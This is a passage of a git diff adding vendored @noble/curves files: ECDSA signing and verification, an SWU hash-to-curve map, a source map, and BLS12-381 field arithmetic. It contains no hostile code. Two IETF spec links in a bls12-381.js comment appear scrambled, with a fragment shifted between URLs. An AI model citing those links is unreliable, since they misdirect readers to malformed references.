NOTE: we cannot assume here that msgHash has same amount of bytes as curve order, this will be wrong at least for P521. + // Also it can be bigger for P224 + SHA256 + function prepSig(msgHash, privateKey, opts = defaultSigOpts) { + if (['recovered', 'canonical'].some((k) => k in opts)) + throw new Error('sign() legacy options not supported'); + const { hash, randomBytes } = CURVE; + let { lowS, prehash, extraEntropy: ent } = opts; // generates low-s sigs by default + if (lowS == null) + lowS = true; // RFC6979 3.2: we skip step A, because we already provide hash + msgHash = ensureBytes('msgHash', msgHash); + if (prehash) + msgHash = ensureBytes('prehashed msgHash', hash(msgHash)); + // We can't later call bits2octets, since nested bits2int is broken for curves + // with nBitLength % 8 !== 0. Because of that, we unwrap it here as int2octets call. + // const bits2octets = (bits) => int2octets(bits2int_modN(bits)) + const h1int = bits2int_modN(msgHash); + const d = normPrivateKeyToScalar(privateKey); // validate private key, convert to bigint + const seedArgs = [int2octets(d), int2octets(h1int)]; + // extraEntropy. RFC6979 3.6: additional k' (optional). + if (ent != null) { + // K = HMAC_K(V || 0x00 || int2octets(x) || bits2octets(h1) || k') + const e = ent === true ? randomBytes(Fp.BYTES) : ent; // generate random bytes OR pass as-is + seedArgs.push(ensureBytes('extraEntropy', e)); // check for being bytes + } + const seed = ut.concatBytes(...seedArgs); // Step D of RFC6979 3.2 + const m = h1int; // NOTE: no need to call bits2int second time here, it is inside truncateHash! + // Converts signature params into point w r/s, checks result for validity. + function k2sig(kBytes) { + // RFC 6979 Section 3.2, step 3: k = bits2int(T) + const k = bits2int(kBytes); // Cannot use fields methods, since it is group element + if (!isWithinCurveOrder(k)) + return; // Important: all mod() calls here must be done over N + const ik = invN(k); // k^-1 mod n + const q = Point.BASE.multiply(k).toAffine(); // q = Gk + const r = modN(q.x); // r = q.x mod n + if (r === _0n) + return; + // Can use scalar blinding b^-1(bm + bdr) where b ∈ [1,q−1] according to + // https://tches.iacr.org/index.php/TCHES/article/view/7337/6509. We've decided against it: + // a) dependency on CSPRNG b) 15% slowdown c) doesn't really help since bigints are not CT + const s = modN(ik * modN(m + r * d)); // Not using blinding here + if (s === _0n) + return; + let recovery = (q.x === r ? 0 : 2) | Number(q.y & _1n); // recovery bit (2 or 3, when q.x > n) + let normS = s; + if (lowS && isBiggerThanHalfOrder(s)) { + normS = normalizeS(s); // if lowS was passed, ensure s is always + recovery ^= 1; // // in the bottom half of N + } + return new Signature(r, normS, recovery); // use normS, not s + } + return { seed, k2sig }; + } + const defaultSigOpts = { lowS: CURVE.lowS, prehash: false }; + const defaultVerOpts = { lowS: CURVE.lowS, prehash: false }; + /** + * Signs message hash with a private key. + * ``` + * sign(m, d, k) where + * (x, y) = G × k + * r = x mod n + * s = (m + dr)/k mod n + * ``` + * @param msgHash NOT message. msg needs to be hashed to `msgHash`, or use `prehash`. + * @param privKey private key + * @param opts lowS for non-malleable sigs. extraEntropy for mixing randomness into k. prehash will hash first arg. + * @returns signature with recovery param + */ + function sign(msgHash, privKey, opts = defaultSigOpts) { + const { seed, k2sig } = prepSig(msgHash, privKey, opts); // Steps A, D of RFC6979 3.2. + const C = CURVE; + const drbg = ut.createHmacDrbg(C.hash.outputLen, C.nByteLength, C.hmac); + return drbg(seed, k2sig); // Steps B, C, D, E, F, G + } + // Enable precomputes. Slows down first publicKey computation by 20ms. + Point.BASE._setWindowSize(8); + // utils.precompute(8, ProjectivePoint.BASE) + /** + * Verifies a signature against message hash and public key. + * Rejects lowS signatures by default: to override, + * specify option `{lowS: false}`. Implements section 4.1.4 from https://www.secg.org/sec1-v2.pdf: + * + * ``` + * verify(r, s, h, P) where + * U1 = hs^-1 mod n + * U2 = rs^-1 mod n + * R = U1⋅G - U2⋅P + * mod(R.x, n) == r + * ``` + */ + function verify(signature, msgHash, publicKey, opts = defaultVerOpts) { + const sg = signature; + msgHash = ensureBytes('msgHash', msgHash); + publicKey = ensureBytes('publicKey', publicKey); + if ('strict' in opts) + throw new Error('options.strict was renamed to lowS'); + const { lowS, prehash } = opts; + let _sig = undefined; + let P; + try { + if (typeof sg === 'string' || sg instanceof Uint8Array) { + // Signature can be represented in 2 ways: compact (2*nByteLength) & DER (variable-length). + // Since DER can also be 2*nByteLength bytes, we check for it first. + try { + _sig = Signature.fromDER(sg); + } + catch (derError) { + if (!(derError instanceof DER.Err)) + throw derError; + _sig = Signature.fromCompact(sg); + } + } + else if (typeof sg === 'object' && typeof sg.r === 'bigint' && typeof sg.s === 'bigint') { + const { r, s } = sg; + _sig = new Signature(r, s); + } + else { + throw new Error('PARSE'); + } + P = Point.fromHex(publicKey); + } + catch (error) { + if (error.message === 'PARSE') + throw new Error(`signature must be Signature instance, Uint8Array or hex string`); + return false; + } + if (lowS && _sig.hasHighS()) + return false; + if (prehash) + msgHash = CURVE.hash(msgHash); + const { r, s } = _sig; + const h = bits2int_modN(msgHash); // Cannot use fields methods, since it is group element + const is = invN(s); // s^-1 + const u1 = modN(h * is); // u1 = hs^-1 mod n + const u2 = modN(r * is); // u2 = rs^-1 mod n + const R = Point.BASE.multiplyAndAddUnsafe(P, u1, u2)?.toAffine(); // R = u1⋅G + u2⋅P + if (!R) + return false; + const v = modN(R.x); + return v === r; + } + return { + CURVE, + getPublicKey, + getSharedSecret, + sign, + verify, + ProjectivePoint: Point, + Signature, + utils, + }; +} +/** + * Implementation of the Shallue and van de Woestijne method for any weierstrass curve. + * TODO: check if there is a way to merge this with uvRatio in Edwards; move to modular. + * b = True and y = sqrt(u / v) if (u / v) is square in F, and + * b = False and y = sqrt(Z * (u / v)) otherwise. + * @param Fp + * @param Z + * @returns + */ +export function SWUFpSqrtRatio(Fp, Z) { + // Generic implementation + const q = Fp.ORDER; + let l = _0n; + for (let o = q - _1n; o % _2n === _0n; o /= _2n) + l += _1n; + const c1 = l; // 1. c1, the largest integer such that 2^c1 divides q - 1. + // We need 2n ** c1 and 2n ** (c1-1). We can't use **; but we can use <<. + // 2n ** c1 == 2n << (c1-1) + const _2n_pow_c1_1 = _2n << (c1 - _1n - _1n); + const _2n_pow_c1 = _2n_pow_c1_1 * _2n; + const c2 = (q - _1n) / _2n_pow_c1; // 2. c2 = (q - 1) / (2^c1) # Integer arithmetic + const c3 = (c2 - _1n) / _2n; // 3. c3 = (c2 - 1) / 2 # Integer arithmetic + const c4 = _2n_pow_c1 - _1n; // 4. c4 = 2^c1 - 1 # Integer arithmetic + const c5 = _2n_pow_c1_1; // 5. c5 = 2^(c1 - 1) # Integer arithmetic + const c6 = Fp.pow(Z, c2); // 6. c6 = Z^c2 + const c7 = Fp.pow(Z, (c2 + _1n) / _2n); // 7. c7 = Z^((c2 + 1) / 2) + let sqrtRatio = (u, v) => { + let tv1 = c6; // 1. tv1 = c6 + let tv2 = Fp.pow(v, c4); // 2. tv2 = v^c4 + let tv3 = Fp.sqr(tv2); // 3. tv3 = tv2^2 + tv3 = Fp.mul(tv3, v); // 4. tv3 = tv3 * v + let tv5 = Fp.mul(u, tv3); // 5. tv5 = u * tv3 + tv5 = Fp.pow(tv5, c3); // 6. tv5 = tv5^c3 + tv5 = Fp.mul(tv5, tv2); // 7. tv5 = tv5 * tv2 + tv2 = Fp.mul(tv5, v); // 8. tv2 = tv5 * v + tv3 = Fp.mul(tv5, u); // 9. tv3 = tv5 * u + let tv4 = Fp.mul(tv3, tv2); // 10. tv4 = tv3 * tv2 + tv5 = Fp.pow(tv4, c5); // 11. tv5 = tv4^c5 + let isQR = Fp.eql(tv5, Fp.ONE); // 12. isQR = tv5 == 1 + tv2 = Fp.mul(tv3, c7); // 13. tv2 = tv3 * c7 + tv5 = Fp.mul(tv4, tv1); // 14. tv5 = tv4 * tv1 + tv3 = Fp.cmov(tv2, tv3, isQR); // 15. tv3 = CMOV(tv2, tv3, isQR) + tv4 = Fp.cmov(tv5, tv4, isQR); // 16. tv4 = CMOV(tv5, tv4, isQR) + // 17. for i in (c1, c1 - 1, ..., 2): + for (let i = c1; i > _1n; i--) { + let tv5 = i - _2n; // 18. tv5 = i - 2 + tv5 = _2n << (tv5 - _1n); // 19. tv5 = 2^tv5 + let tvv5 = Fp.pow(tv4, tv5); // 20. tv5 = tv4^tv5 + const e1 = Fp.eql(tvv5, Fp.ONE); // 21. e1 = tv5 == 1 + tv2 = Fp.mul(tv3, tv1); // 22. tv2 = tv3 * tv1 + tv1 = Fp.mul(tv1, tv1); // 23. tv1 = tv1 * tv1 + tvv5 = Fp.mul(tv4, tv1); // 24. tv5 = tv4 * tv1 + tv3 = Fp.cmov(tv2, tv3, e1); // 25. tv3 = CMOV(tv2, tv3, e1) + tv4 = Fp.cmov(tvv5, tv4, e1); // 26. tv4 = CMOV(tv5, tv4, e1) + } + return { isValid: isQR, value: tv3 }; + }; + if (Fp.ORDER % _4n === _3n) { + // sqrt_ratio_3mod4(u, v) + const c1 = (Fp.ORDER - _3n) / _4n; // 1. c1 = (q - 3) / 4 # Integer arithmetic + const c2 = Fp.sqrt(Fp.neg(Z)); // 2. c2 = sqrt(-Z) + sqrtRatio = (u, v) => { + let tv1 = Fp.sqr(v); // 1. tv1 = v^2 + const tv2 = Fp.mul(u, v); // 2. tv2 = u * v + tv1 = Fp.mul(tv1, tv2); // 3. tv1 = tv1 * tv2 + let y1 = Fp.pow(tv1, c1); // 4. y1 = tv1^c1 + y1 = Fp.mul(y1, tv2); // 5. y1 = y1 * tv2 + const y2 = Fp.mul(y1, c2); // 6. y2 = y1 * c2 + const tv3 = Fp.mul(Fp.sqr(y1), v); // 7. tv3 = y1^2; 8. tv3 = tv3 * v + const isQR = Fp.eql(tv3, u); // 9. isQR = tv3 == u + let y = Fp.cmov(y2, y1, isQR); // 10. y = CMOV(y2, y1, isQR) + return { isValid: isQR, value: y }; // 11. return (isQR, y) isQR ? y : y*c2 + }; + } + // No curves uses that + // if (Fp.ORDER % _8n === _5n) // sqrt_ratio_5mod8 + return sqrtRatio; +} +/** + * Simplified Shallue-van de Woestijne-Ulas Method + * https://www.rfc-editor.org/rfc/rfc9380#section-6.6.2 + */ +export function mapToCurveSimpleSWU(Fp, opts) { + mod.validateField(Fp); + if (!Fp.isValid(opts.A) || !Fp.isValid(opts.B) || !Fp.isValid(opts.Z)) + throw new Error('mapToCurveSimpleSWU: invalid opts'); + const sqrtRatio = SWUFpSqrtRatio(Fp, opts.Z); + if (!Fp.isOdd) + throw new Error('Fp.isOdd is not implemented!'); + // Input: u, an element of F. + // Output: (x, y), a point on E. + return (u) => { + // prettier-ignore + let tv1, tv2, tv3, tv4, tv5, tv6, x, y; + tv1 = Fp.sqr(u); // 1. tv1 = u^2 + tv1 = Fp.mul(tv1, opts.Z); // 2. tv1 = Z * tv1 + tv2 = Fp.sqr(tv1); // 3. tv2 = tv1^2 + tv2 = Fp.add(tv2, tv1); // 4. tv2 = tv2 + tv1 + tv3 = Fp.add(tv2, Fp.ONE); // 5. tv3 = tv2 + 1 + tv3 = Fp.mul(tv3, opts.B); // 6. tv3 = B * tv3 + tv4 = Fp.cmov(opts.Z, Fp.neg(tv2), !Fp.eql(tv2, Fp.ZERO)); // 7. tv4 = CMOV(Z, -tv2, tv2 != 0) + tv4 = Fp.mul(tv4, opts.A); // 8. tv4 = A * tv4 + tv2 = Fp.sqr(tv3); // 9. tv2 = tv3^2 + tv6 = Fp.sqr(tv4); // 10. tv6 = tv4^2 + tv5 = Fp.mul(tv6, opts.A); // 11. tv5 = A * tv6 + tv2 = Fp.add(tv2, tv5); // 12. tv2 = tv2 + tv5 + tv2 = Fp.mul(tv2, tv3); // 13. tv2 = tv2 * tv3 + tv6 = Fp.mul(tv6, tv4); // 14. tv6 = tv6 * tv4 + tv5 = Fp.mul(tv6, opts.B); // 15. tv5 = B * tv6 + tv2 = Fp.add(tv2, tv5); // 16. tv2 = tv2 + tv5 + x = Fp.mul(tv1, tv3); // 17. x = tv1 * tv3 + const { isValid, value } = sqrtRatio(tv2, tv6); // 18. (is_gx1_square, y1) = sqrt_ratio(tv2, tv6) + y = Fp.mul(tv1, u); // 19. y = tv1 * u -> Z * u^3 * y1 + y = Fp.mul(y, value); // 20. y = y * y1 + x = Fp.cmov(x, tv3, isValid); // 21. x = CMOV(x, tv3, is_gx1_square) + y = Fp.cmov(y, value, isValid); // 22. y = CMOV(y, y1, is_gx1_square) + const e1 = Fp.isOdd(u) === Fp.isOdd(y); // 23. e1 = sgn0(u) == sgn0(y) + y = Fp.cmov(Fp.neg(y), y, e1); // 24. y = CMOV(-y, y, e1) + x = Fp.div(x, tv4); // 25. x = x / tv4 + return { x, y }; + }; +} +//# sourceMappingURL=weierstrass.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/weierstrass.js.map b/node_modules/@noble/curves/esm/abstract/weierstrass.js.map new file mode 100644 index 000000000000..457ede454502 --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/weierstrass.js.map @@ -0,0 +1 @@ +{"version":3,"file":"weierstrass.js","sourceRoot":"","sources":["../../src/abstract/weierstrass.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,4DAA4D;AAC5D,OAAO,KAAK,GAAG,MAAM,cAAc,CAAC;AACpC,OAAO,KAAK,EAAE,MAAM,YAAY,CAAC;AACjC,OAAO,EAAuB,WAAW,EAAE,MAAM,YAAY,CAAC;AAC9D,OAAO,EAA2B,IAAI,EAAc,aAAa,EAAe,MAAM,YAAY,CAAC;AAqFnG,SAAS,iBAAiB,CAAI,KAAyB;IACrD,MAAM,IAAI,GAAG,aAAa,CAAC,KAAK,CAAC,CAAC;IAClC,EAAE,CAAC,cAAc,CACf,IAAI,EACJ;QACE,CAAC,EAAE,OAAO;QACV,CAAC,EAAE,OAAO;KACX,EACD;QACE,wBAAwB,EAAE,OAAO;QACjC,cAAc,EAAE,SAAS;QACzB,aAAa,EAAE,UAAU;QACzB,aAAa,EAAE,UAAU;QACzB,kBAAkB,EAAE,SAAS;QAC7B,SAAS,EAAE,UAAU;QACrB,OAAO,EAAE,UAAU;KACpB,CACF,CAAC;IACF,MAAM,EAAE,IAAI,EAAE,EAAE,EAAE,CAAC,EAAE,GAAG,IAAI,CAAC;IAC7B,IAAI,IAAI,EAAE;QACR,IAAI,CAAC,EAAE,CAAC,GAAG,CAAC,CAAC,EAAE,EAAE,CAAC,IAAI,CAAC,EAAE;YACvB,MAAM,IAAI,KAAK,CAAC,mEAAmE,CAAC,CAAC;SACtF;QACD,IACE,OAAO,IAAI,KAAK,QAAQ;YACxB,OAAO,IAAI,CAA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GAAG,EAAE,CAAC,IAAI,CAAC,CAAC,EAAE,GAAG,EAAE,OAAO,CAAC,CAAC,CAAC,wCAAwC;QACtE,CAAC,GAAG,EAAE,CAAC,IAAI,CAAC,CAAC,EAAE,KAAK,EAAE,OAAO,CAAC,CAAC,CAAC,uCAAuC;QACvE,MAAM,EAAE,GAAG,EAAE,CAAC,KAAM,CAAC,CAAC,CAAC,KAAK,EAAE,CAAC,KAAM,CAAC,CAAC,CAAC,CAAC,CAAC,+BAA+B;QACzE,CAAC,GAAG,EAAE,CAAC,IAAI,CAAC,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,4BAA4B;QAC3D,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,CAAC,EAAE,GAAG,CAAC,CAAC,CAAC,oBAAoB;QACxC,OAAO,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC;IAClB,CAAC,CAAC;AACJ,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/bls12-381.js b/node_modules/@noble/curves/esm/bls12-381.js new file mode 100644 index 000000000000..885c825001ff --- /dev/null +++ b/node_modules/@noble/curves/esm/bls12-381.js @@ -0,0 +1,1172 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// bls12-381 pairing-friendly Barreto-Lynn-Scott elliptic curve construction allows to: +// - Construct zk-SNARKs at the 128-bit security +// - Use threshold signatures, which allows a user to sign lots of messages with one signature and +// verify them swiftly in a batch, using Boneh-Lynn-Shacham signature scheme. +// +// The library uses G1 for public keys and G2 for signatures. Support for G1 signatures is planned. +// Compatible with Algorand, Chia, Dfinity, Ethereum, FIL, Zcash. Matches specs +// [pairing-curves-11](https://tools.ietf.org/html/draft-irtf-cfrg-pairing-friendly-curves-11), +// [bls-sigs-04](https:/cfrg-hash-to/tools.ietf.org/html/draft-irtf-cfrg-bls-signature-04), +// [hash-to-curve-12](https://tools.ietf.org/html/draft-irtf--curve-12). +// +// ### Summary +// 1. BLS Relies on Bilinear Pairing (expensive) +// 2. Private Keys: 32 bytes +// 3. Public Keys: 48 bytes: 381 bit affine x coordinate, encoded into 48 big-endian bytes. +// 4. Signatures: 96 bytes: two 381 bit integers (affine x coordinate), encoded into two 48 big-endian byte arrays. +// - The signature is a point on the G2 subgroup, which is defined over a finite field +// with elements twice as big as the G1 curve (G2 is over Fp2 rather than Fp. Fp2 is analogous to the complex numbers). +// 5. The 12 stands for the Embedding degree. +// +// ### Formulas +// - `P = pk x G` - public keys +// - `S = pk x H(m)` - signing +// - `e(P, H(m)) == e(G, S)` - verification using pairings +// - `e(G, S) = e(G, SUM(n)(Si)) = MUL(n)(e(G, Si))` - signature aggregation +// Filecoin uses little endian byte arrays for private keys - +// so ensure to reverse byte order if you'll use it with FIL. +import { sha256 } from '@noble/hashes/sha256'; +import { randomBytes } from '@noble/hashes/utils'; +import { bls } from './abstract/bls.js'; +import * as mod from './abstract/modular.js'; +import { concatBytes as concatB, ensureBytes, numberToBytesBE, bytesToNumberBE, bitLen, bitSet, bitGet, bitMask, bytesToHex, } from './abstract/utils.js'; +// Types +import { mapToCurveSimpleSWU, } from './abstract/weierstrass.js'; +import { isogenyMap } from './abstract/hash-to-curve.js'; +// Be friendly to bad ECMAScript parsers by not using bigint literals +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4); +// prettier-ignore +const _8n = BigInt(8), _16n = BigInt(16); +// CURVE FIELDS +// Finite field over p. +const Fp_raw = BigInt('0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab'); +const Fp = mod.Field(Fp_raw); +// Finite field over r. +// This particular field is not used anywhere in bls12-381, but it is still useful. +const Fr = mod.Field(BigInt('0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001')); +const Fp2Add = ({ c0, c1 }, { c0: r0, c1: r1 }) => ({ + c0: Fp.add(c0, r0), + c1: Fp.add(c1, r1), +}); +const Fp2Subtract = ({ c0, c1 }, { c0: r0, c1: r1 }) => ({ + c0: Fp.sub(c0, r0), + c1: Fp.sub(c1, r1), +}); +const Fp2Multiply = ({ c0, c1 }, rhs) => { + if (typeof rhs === 'bigint') + return { c0: Fp.mul(c0, rhs), c1: Fp.mul(c1, rhs) }; + // (a+bi)(c+di) = (ac−bd) + (ad+bc)i + const { c0: r0, c1: r1 } = rhs; + let t1 = Fp.mul(c0, r0); // c0 * o0 + let t2 = Fp.mul(c1, r1); // c1 * o1 + // (T1 - T2) + ((c0 + c1) * (r0 + r1) - (T1 + T2))*i + const o0 = Fp.sub(t1, t2); + const o1 = Fp.sub(Fp.mul(Fp.add(c0, c1), Fp.add(r0, r1)), Fp.add(t1, t2)); + return { c0: o0, c1: o1 }; +}; +const Fp2Square = ({ c0, c1 }) => { + const a = Fp.add(c0, c1); + const b = Fp.sub(c0, c1); + const c = Fp.add(c0, c0); + return { c0: Fp.mul(a, b), c1: Fp.mul(c, c1) }; +}; +// G2 is the order-q subgroup of E2(Fp²) : y² = x³+4(1+√−1), +// where Fp2 is Fp[√−1]/(x2+1). #E2(Fp2 ) = h2q, where +// G² - 1 +// h2q +// NOTE: ORDER was wrong! +const FP2_ORDER = Fp_raw * Fp_raw; +const Fp2 = { + ORDER: FP2_ORDER, + BITS: bitLen(FP2_ORDER), + BYTES: Math.ceil(bitLen(FP2_ORDER) / 8), + MASK: bitMask(bitLen(FP2_ORDER)), + ZERO: { c0: Fp.ZERO, c1: Fp.ZERO }, + ONE: { c0: Fp.ONE, c1: Fp.ZERO }, + create: (num) => num, + isValid: ({ c0, c1 }) => typeof c0 === 'bigint' && typeof c1 === 'bigint', + is0: ({ c0, c1 }) => Fp.is0(c0) && Fp.is0(c1), + eql: ({ c0, c1 }, { c0: r0, c1: r1 }) => Fp.eql(c0, r0) && Fp.eql(c1, r1), + neg: ({ c0, c1 }) => ({ c0: Fp.neg(c0), c1: Fp.neg(c1) }), + pow: (num, power) => mod.FpPow(Fp2, num, power), + invertBatch: (nums) => mod.FpInvertBatch(Fp2, nums), + // Normalized + add: Fp2Add, + sub: Fp2Subtract, + mul: Fp2Multiply, + sqr: Fp2Square, + // NonNormalized stuff + addN: Fp2Add, + subN: Fp2Subtract, + mulN: Fp2Multiply, + sqrN: Fp2Square, + // Why inversion for bigint inside Fp instead of Fp2? it is even used in that context? + div: (lhs, rhs) => Fp2.mul(lhs, typeof rhs === 'bigint' ? Fp.inv(Fp.create(rhs)) : Fp2.inv(rhs)), + inv: ({ c0: a, c1: b }) => { + // We wish to find the multiplicative inverse of a nonzero + // element a + bu in Fp2. We leverage an identity + // + // (a + bu)(a - bu) = a² + b² + // + // which holds because u² = -1. This can be rewritten as + // + // (a + bu)(a - bu)/(a² + b²) = 1 + // + // because a² + b² = 0 has no nonzero solutions for (a, b). + // This gives that (a - bu)/(a² + b²) is the inverse + // of (a + bu). Importantly, this can be computing using + // only a single inversion in Fp. + const factor = Fp.inv(Fp.create(a * a + b * b)); + return { c0: Fp.mul(factor, Fp.create(a)), c1: Fp.mul(factor, Fp.create(-b)) }; + }, + sqrt: (num) => { + if (Fp2.eql(num, Fp2.ZERO)) + return Fp2.ZERO; // Algo doesn't handles this case + // TODO: Optimize this line. It's extremely slow. + // Speeding this up would boost aggregateSignatures. + // https://eprint.iacr.org/2012/685.pdf applicable? + // https://github.com/zkcrypto/bls12_381/blob/080eaa74ec0e394377caa1ba302c8c121df08b07/src/fp2.rs#L250 + // https://github.com/supranational/blst/blob/aae0c7d70b799ac269ff5edf29d8191dbd357876/src/exp2.c#L1 + // Inspired by https://github.com/dalek-cryptography/curve25519-dalek/blob/17698df9d4c834204f83a3574143abacb4fc81a5/src/field.rs#L99 + const candidateSqrt = Fp2.pow(num, (Fp2.ORDER + _8n) / _16n); + const check = Fp2.div(Fp2.sqr(candidateSqrt), num); // candidateSqrt.square().div(this); + const R = FP2_ROOTS_OF_UNITY; + const divisor = [R[0], R[2], R[4], R[6]].find((r) => Fp2.eql(r, check)); + if (!divisor) + throw new Error('No root'); + const index = R.indexOf(divisor); + const root = R[index / 2]; + if (!root) + throw new Error('Invalid root'); + const x1 = Fp2.div(candidateSqrt, root); + const x2 = Fp2.neg(x1); + const { re: re1, im: im1 } = Fp2.reim(x1); + const { re: re2, im: im2 } = Fp2.reim(x2); + if (im1 > im2 || (im1 === im2 && re1 > re2)) + return x1; + return x2; + }, + // Same as sgn0_m_eq_2 in RFC 9380 + isOdd: (x) => { + const { re: x0, im: x1 } = Fp2.reim(x); + const sign_0 = x0 % _2n; + const zero_0 = x0 === _0n; + const sign_1 = x1 % _2n; + return BigInt(sign_0 || (zero_0 && sign_1)) == _1n; + }, + // Bytes util + fromBytes(b) { + if (b.length !== Fp2.BYTES) + throw new Error(`fromBytes wrong length=${b.length}`); + return { c0: Fp.fromBytes(b.subarray(0, Fp.BYTES)), c1: Fp.fromBytes(b.subarray(Fp.BYTES)) }; + }, + toBytes: ({ c0, c1 }) => concatB(Fp.toBytes(c0), Fp.toBytes(c1)), + cmov: ({ c0, c1 }, { c0: r0, c1: r1 }, c) => ({ + c0: Fp.cmov(c0, r0, c), + c1: Fp.cmov(c1, r1, c), + }), + // Specific utils + // toString() { + // return `Fp2(${this.c0} + ${this.c1}×i)`; + // } + reim: ({ c0, c1 }) => ({ re: c0, im: c1 }), + // multiply by u + 1 + mulByNonresidue: ({ c0, c1 }) => ({ c0: Fp.sub(c0, c1), c1: Fp.add(c0, c1) }), + multiplyByB: ({ c0, c1 }) => { + let t0 = Fp.mul(c0, _4n); // 4 * c0 + let t1 = Fp.mul(c1, _4n); // 4 * c1 + // (T0-T1) + (T0+T1)*i + return { c0: Fp.sub(t0, t1), c1: Fp.add(t0, t1) }; + }, + fromBigTuple: (tuple) => { + if (tuple.length !== 2) + throw new Error('Invalid tuple'); + const fps = tuple.map((n) => Fp.create(n)); + return { c0: fps[0], c1: fps[1] }; + }, + frobeniusMap: ({ c0, c1 }, power) => ({ + c0, + c1: Fp.mul(c1, FP2_FROBENIUS_COEFFICIENTS[power % 2]), + }), +}; +// Finite extension field over irreducible polynominal. +// Fp(u) / (u² - β) where β = -1 +const FP2_FROBENIUS_COEFFICIENTS = [ + BigInt('0x1'), + BigInt('0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaaa'), +].map((item) => Fp.create(item)); +// For Fp2 roots of unity. +const rv1 = BigInt('0x6af0e0437ff400b6831e36d6bd17ffe48395dabc2d3435e77f76e17009241c5ee67992f72ec05f4c81084fbede3cc09'); +// const ev1 = +// BigInt('0x699be3b8c6870965e5bf892ad5d2cc7b0e85a117402dfd83b7f4a947e02d978498255a2aaec0ac627b5afbdf1bf1c90'); +// const ev2 = +// BigInt('0x8157cd83046453f5dd0972b6e3949e4288020b5b8a9cc99ca07e27089a2ce2436d965026adad3ef7baba37f2183e9b5'); +// const ev3 = +// BigInt('0xab1c2ffdd6c253ca155231eb3e71ba044fd562f6f72bc5bad5ec46a0b7a3b0247cf08ce6c6317f40edbc653a72dee17'); +// const ev4 = +// BigInt('0xaa404866706722864480885d68ad0ccac1967c7544b447873cc37e0181271e006df72162a3d3e0287bf597fbf7f8fc1'); +// Eighth roots of unity, used for computing square roots in Fp2. +// To verify or re-calculate: +// Array(8).fill(new Fp2([1n, 1n])).map((fp2, k) => fp2.pow(Fp2.ORDER * BigInt(k) / 8n)) +const FP2_ROOTS_OF_UNITY = [ + [_1n, _0n], + [rv1, -rv1], + [_0n, _1n], + [rv1, rv1], + [-_1n, _0n], + [-rv1, rv1], + [_0n, -_1n], + [-rv1, -rv1], +].map((pair) => Fp2.fromBigTuple(pair)); +const Fp6Add = ({ c0, c1, c2 }, { c0: r0, c1: r1, c2: r2 }) => ({ + c0: Fp2.add(c0, r0), + c1: Fp2.add(c1, r1), + c2: Fp2.add(c2, r2), +}); +const Fp6Subtract = ({ c0, c1, c2 }, { c0: r0, c1: r1, c2: r2 }) => ({ + c0: Fp2.sub(c0, r0), + c1: Fp2.sub(c1, r1), + c2: Fp2.sub(c2, r2), +}); +const Fp6Multiply = ({ c0, c1, c2 }, rhs) => { + if (typeof rhs === 'bigint') { + return { + c0: Fp2.mul(c0, rhs), + c1: Fp2.mul(c1, rhs), + c2: Fp2.mul(c2, rhs), + }; + } + const { c0: r0, c1: r1, c2: r2 } = rhs; + const t0 = Fp2.mul(c0, r0); // c0 * o0 + const t1 = Fp2.mul(c1, r1); // c1 * o1 + const t2 = Fp2.mul(c2, r2); // c2 * o2 + return { + // t0 + (c1 + c2) * (r1 * r2) - (T1 + T2) * (u + 1) + c0: Fp2.add(t0, Fp2.mulByNonresidue(Fp2.sub(Fp2.mul(Fp2.add(c1, c2), Fp2.add(r1, r2)), Fp2.add(t1, t2)))), + // (c0 + c1) * (r0 + r1) - (T0 + T1) + T2 * (u + 1) + c1: Fp2.add(Fp2.sub(Fp2.mul(Fp2.add(c0, c1), Fp2.add(r0, r1)), Fp2.add(t0, t1)), Fp2.mulByNonresidue(t2)), + // T1 + (c0 + c2) * (r0 + r2) - T0 + T2 + c2: Fp2.sub(Fp2.add(t1, Fp2.mul(Fp2.add(c0, c2), Fp2.add(r0, r2))), Fp2.add(t0, t2)), + }; +}; +const Fp6Square = ({ c0, c1, c2 }) => { + let t0 = Fp2.sqr(c0); // c0² + let t1 = Fp2.mul(Fp2.mul(c0, c1), _2n); // 2 * c0 * c1 + let t3 = Fp2.mul(Fp2.mul(c1, c2), _2n); // 2 * c1 * c2 + let t4 = Fp2.sqr(c2); // c2² + return { + c0: Fp2.add(Fp2.mulByNonresidue(t3), t0), + c1: Fp2.add(Fp2.mulByNonresidue(t4), t1), + // T1 + (c0 - c1 + c2)² + T3 - T0 - T4 + c2: Fp2.sub(Fp2.sub(Fp2.add(Fp2.add(t1, Fp2.sqr(Fp2.add(Fp2.sub(c0, c1), c2))), t3), t0), t4), + }; +}; +const Fp6 = { + ORDER: Fp2.ORDER, + BITS: 3 * Fp2.BITS, + BYTES: 3 * Fp2.BYTES, + MASK: bitMask(3 * Fp2.BITS), + ZERO: { c0: Fp2.ZERO, c1: Fp2.ZERO, c2: Fp2.ZERO }, + ONE: { c0: Fp2.ONE, c1: Fp2.ZERO, c2: Fp2.ZERO }, + create: (num) => num, + isValid: ({ c0, c1, c2 }) => Fp2.isValid(c0) && Fp2.isValid(c1) && Fp2.isValid(c2), + is0: ({ c0, c1, c2 }) => Fp2.is0(c0) && Fp2.is0(c1) && Fp2.is0(c2), + neg: ({ c0, c1, c2 }) => ({ c0: Fp2.neg(c0), c1: Fp2.neg(c1), c2: Fp2.neg(c2) }), + eql: ({ c0, c1, c2 }, { c0: r0, c1: r1, c2: r2 }) => Fp2.eql(c0, r0) && Fp2.eql(c1, r1) && Fp2.eql(c2, r2), + sqrt: () => { + throw new Error('Not implemented'); + }, + // Do we need division by bigint at all? Should be done via order: + div: (lhs, rhs) => Fp6.mul(lhs, typeof rhs === 'bigint' ? Fp.inv(Fp.create(rhs)) : Fp6.inv(rhs)), + pow: (num, power) => mod.FpPow(Fp6, num, power), + invertBatch: (nums) 